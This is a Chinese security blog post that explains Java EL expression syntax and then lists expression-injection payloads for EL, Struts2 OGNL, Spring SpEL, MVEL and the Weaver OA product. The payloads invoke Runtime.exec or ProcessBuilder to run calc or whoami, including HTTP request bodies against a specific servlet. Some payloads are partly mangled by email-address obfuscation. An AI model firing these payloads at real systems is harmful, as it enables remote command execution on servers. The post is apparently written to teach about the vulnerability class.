Java 表达式注入

2020-05-08 java EL表达式

Share on:

jsp常用

简介

Java中表达式根据框架分为好多种，其中EL表达式是jsp的内置语音，是为了让jsp写起来更简单而出现的，其设计思想来源自ECMAScript和XPath。使用EL表达式我们可以在jsp页面中执行运算、获取数据、调用方法、获取对象等操作。其基本语法为${变量表达式}。

基本语法

大部分的语法都和jsp差不多，说下不太一样的。

获取变量

 1<%@ page import="java.util.HashMap" %>
 2<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 3<%
 4    String name = "张三";
 5    request.setAttribute("name",name);
 6
 7    request.setAttribute("request", "request_name");
 8    session.setAttribute("session", "session_name");
 9    pageContext.setAttribute("page", "page_name");
10    application.setAttribute("application", "application_name");
11    HashMap<String, String> map = new HashMap<>();
12    map.put("my-name", "admin");
13    request.setAttribute("test", map);
14%>
15从四个作用域中搜索变量：${name}
16</br>
17<%--获取作用域--%>
18从requestScope作用域中获取变量：${requestScope.request}
19</br>
20从sessionScope作用域中获取变量：${sessionScope.session}
21</br>
22从pageScope作用域中获取变量：${pageScope.page}
23</br>
24从applicationScope作用域中获取变量：${applicationScope.application}
25</br>
26从作用域中获取特殊符号变量：${requestScope.test["my-name"]}

操作符

类型	符号
算术型	+、-（二元）、`*`、/、div、%、mod、-（一元）
逻辑型	and、&&、or、双管道符、!、not
关系型	==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge。可以与其他值进行比较，或与布尔型、字符串型、整型或浮点型文字进行比较。
空	empty 空操作符是前缀操作，可用于确定值是否为空。
条件型	A ?B :C。根据 A 赋值的结果来赋值 B 或 C。

隐式对象

pageContext
param paramValues
header headerValues
cookie
initParam
Scope系列

函数

1${ns:func(param1, param2, ...)}

用el表达式调用函数必须使用taglib引入你的标签库

调用Java方法

1<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2<%@taglib prefix="elFunc" uri="http://www.test.com/elFunc" %>
3<%
4    String name = "张三";
5    request.setAttribute("name",name);
6%>
7调用函数：${elFunc:elFunc(name)}

页面输出 调用函数：hello 张三

禁用/启用EL表达式

全局禁用EL表达式，web.xml中进入如下配置：

1<jsp-config>
2    <jsp-property-group>
3        <url-pattern>*.jsp</url-pattern>
4        <el-ignored>true</el-ignored>
5    </jsp-property-group>
6</jsp-config>

单个文件禁用EL表达式在JSP文件中可以有如下定义：

1<%@ page isELIgnored="true" %>

该语句表示是否禁用EL表达式，TRUE表示禁止，FALSE表示不禁止。

JSP2.0中默认的启用EL表达式。

表达式注入漏洞实例

原理都是一样的：表达式全部或部份外部可控。先列一些通用的poc，然后按照不同框架简单划分下。

通用POC

1${pageContext}
2${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
3${header}
4${applicationScope}
5${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

Struts2 OGNL

1@[类全名（包括包路径）]@[方法名 |  值名]，例如：
2@[email protected]('foo %s', 'bar')

实例代码

1ActionContext AC = ActionContext.getContext();
2String expression = "${(new java.lang.ProcessBuilder('calc')).start()}";
3AC.getValueStack().findValue(expression));

Spring SPEL

1String expression = "T(java.lang.Runtime).getRuntime().exec(/"calc/")";
2String result = parser.parseExpression(expression).getValue().toString();

JSP JSTL_EL

1<spring:message text="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}">
2</spring:message>

Elasticsearch MVEL

1String expression = "new java.lang.ProcessBuilder(/"calc/").start();";  
2Boolean result = (Boolean) MVEL.eval(expression, vars);

泛微OA EL表达式注入

1login.do?message=@[email protected](@[email protected]().exec('whoami').getInputStream())

或者POST

1message=(#_memberAccess=@[email protected]_MEMBER_ACCESS).(#w=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).(#w.print(@[email protected](@[email protected]().exec(#parameters.cmd[0]).getInputStream()))).(#w.close())&cmd=whoami

还有一种

1POST /weaver/bsh.servlet.BshServlet
2bsh.script=eval%00("ex"%2b"ec(\\"cmd+/c+calc\\")");&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw

绕过

反射
unicode
八进制

参考

文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。